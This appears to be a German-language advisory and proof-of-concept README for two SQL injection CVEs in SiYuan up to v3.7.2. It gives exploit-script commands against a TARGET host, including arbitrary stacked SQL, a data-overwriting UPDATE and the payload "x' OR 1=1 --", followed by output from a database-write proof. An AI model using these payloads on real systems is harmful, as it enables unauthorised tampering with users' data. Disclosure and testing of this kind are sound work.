
CVE-2026-69084/69085 — SiYuan beliebige SQL-Ausführung über searchEmbedBlock + searchDocs SQLi (CVSS 9.9). Verifiziert auf v3.7.2, zurückgewiesen auf v3.7.3.
CVE-2026-69084: Beliebige SQL-Ausführung über /api/search/searchEmbedBlock
CVE-2026-69085: SQL-Injection über /api/filetree/searchDocs
CVSS 9.9 (Kritisch) jeweils · CWE-89 · SiYuan <= v3.7.2 (behoben in v3.7.3)
Veröffentlicht am 2026-08-03 · zum Zeitpunkt der Veröffentlichung kein öffentlicher PoC
SiYuan (Open-Source-Notiz-App, github.com/siyuan-note/siyuan) stellt zwei API-Endpunkte bereit, die angreiferkontrolliertes SQL an seine SQLite-Datenbank weiterreichen:
CVE-2026-69084 — /api/search/searchEmbedBlock:
Der Parameter stmt wird unverändert an den Haupt-Lese-/Schreib-Handle siyuan.db übergeben, ohne Einschränkung auf eine einzelne Anweisung oder auf Nur-Lesen. Der SQLite-Treiber führt gestapelte (durch Semikolon getrennte) Anweisungen aus, sodass ein Angreifer in der Datenbank beliebig CREATE / INSERT / UPDATE / DELETE / DROP ausführen kann. Nur durch CheckAuth abgesichert — erreichbar mit einem Publish-RoleReader-Token oder anonym, wenn im Publish-Modus Publish.Auth.Enable=false gesetzt ist.
CVE-2026-69085 — /api/filetree/searchDocs:
Der Parameter keyword wird ohne Escaping oder Parameterbindung direkt in SQL konkateniert.
Beide wurden in v3.7.3 über sql.CheckSingleStatement() + sql.CheckReadonlyStatementInBox() behoben.
# 1. Non-destructive probe (sqlite_version)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --check
# 2. DB-write proof: CREATE TABLE + INSERT
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --proof
# 3. Run arbitrary SQL (stacked statements supported)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> "SELECT * FROM blocks LIMIT 5"
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> "UPDATE blocks SET hpath='PWNED' WHERE id=(SELECT id FROM blocks LIMIT 1)"
# 4. searchDocs SQLi (69085)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --searchdocs "x' OR 1=1 --"
Wenn die Instanz mit aktiviertem Publish-Modus und deaktivierter Authentifizierung läuft (Publish.Auth.Enable=false), ist überhaupt kein --auth erforderlich.
$ python3 CVE-2026-69084.py http://127.0.0.1:6806 --auth test123 --proof
[*] SQL: CREATE TABLE IF NOT EXISTS pwn_69084 (id INTEGER)
[+] SQL kabul edildi (blocks: 0)
[*] SQL: INSERT INTO pwn_69084 VALUES (31337)
[+] SQL kabul edildi (blocks: 0)
[+] DB-WRITE KANITI TAMAM — siyuan.db'de pwn_69084 tablosu + 31337 satırı
# On the host:
$ sqlite3 siyuan.db "SELECT * FROM pwn_69084;"
31337
Gepatchtes v3.7.3 lehnt dieselben Anfragen ab:
SELECT 1; CREATE TABLE x → "SQL statement is not single"UPDATE blocks ... → "SQL statement is not a read-only query"SELECT funktioniert weiterhin (legitime Funktionalität bleibt erhalten)Das Python-PoC führt einen Session-Login (/api/system/loginAuth) durch, um das Auth-Cookie zu erhalten, und sendet dann POST-Anfragen an den verwundbaren Endpunkt. Getestet gegen b3log/siyuan:v3.7.2 (verwundbar) und b3log/siyuan:v3.7.3 (gepatcht).
Publish.Auth.Enable=true bei und verwende starke RoleReader-Tokens.Nur für autorisierte Sicherheitstests und zu Bildungszwecken.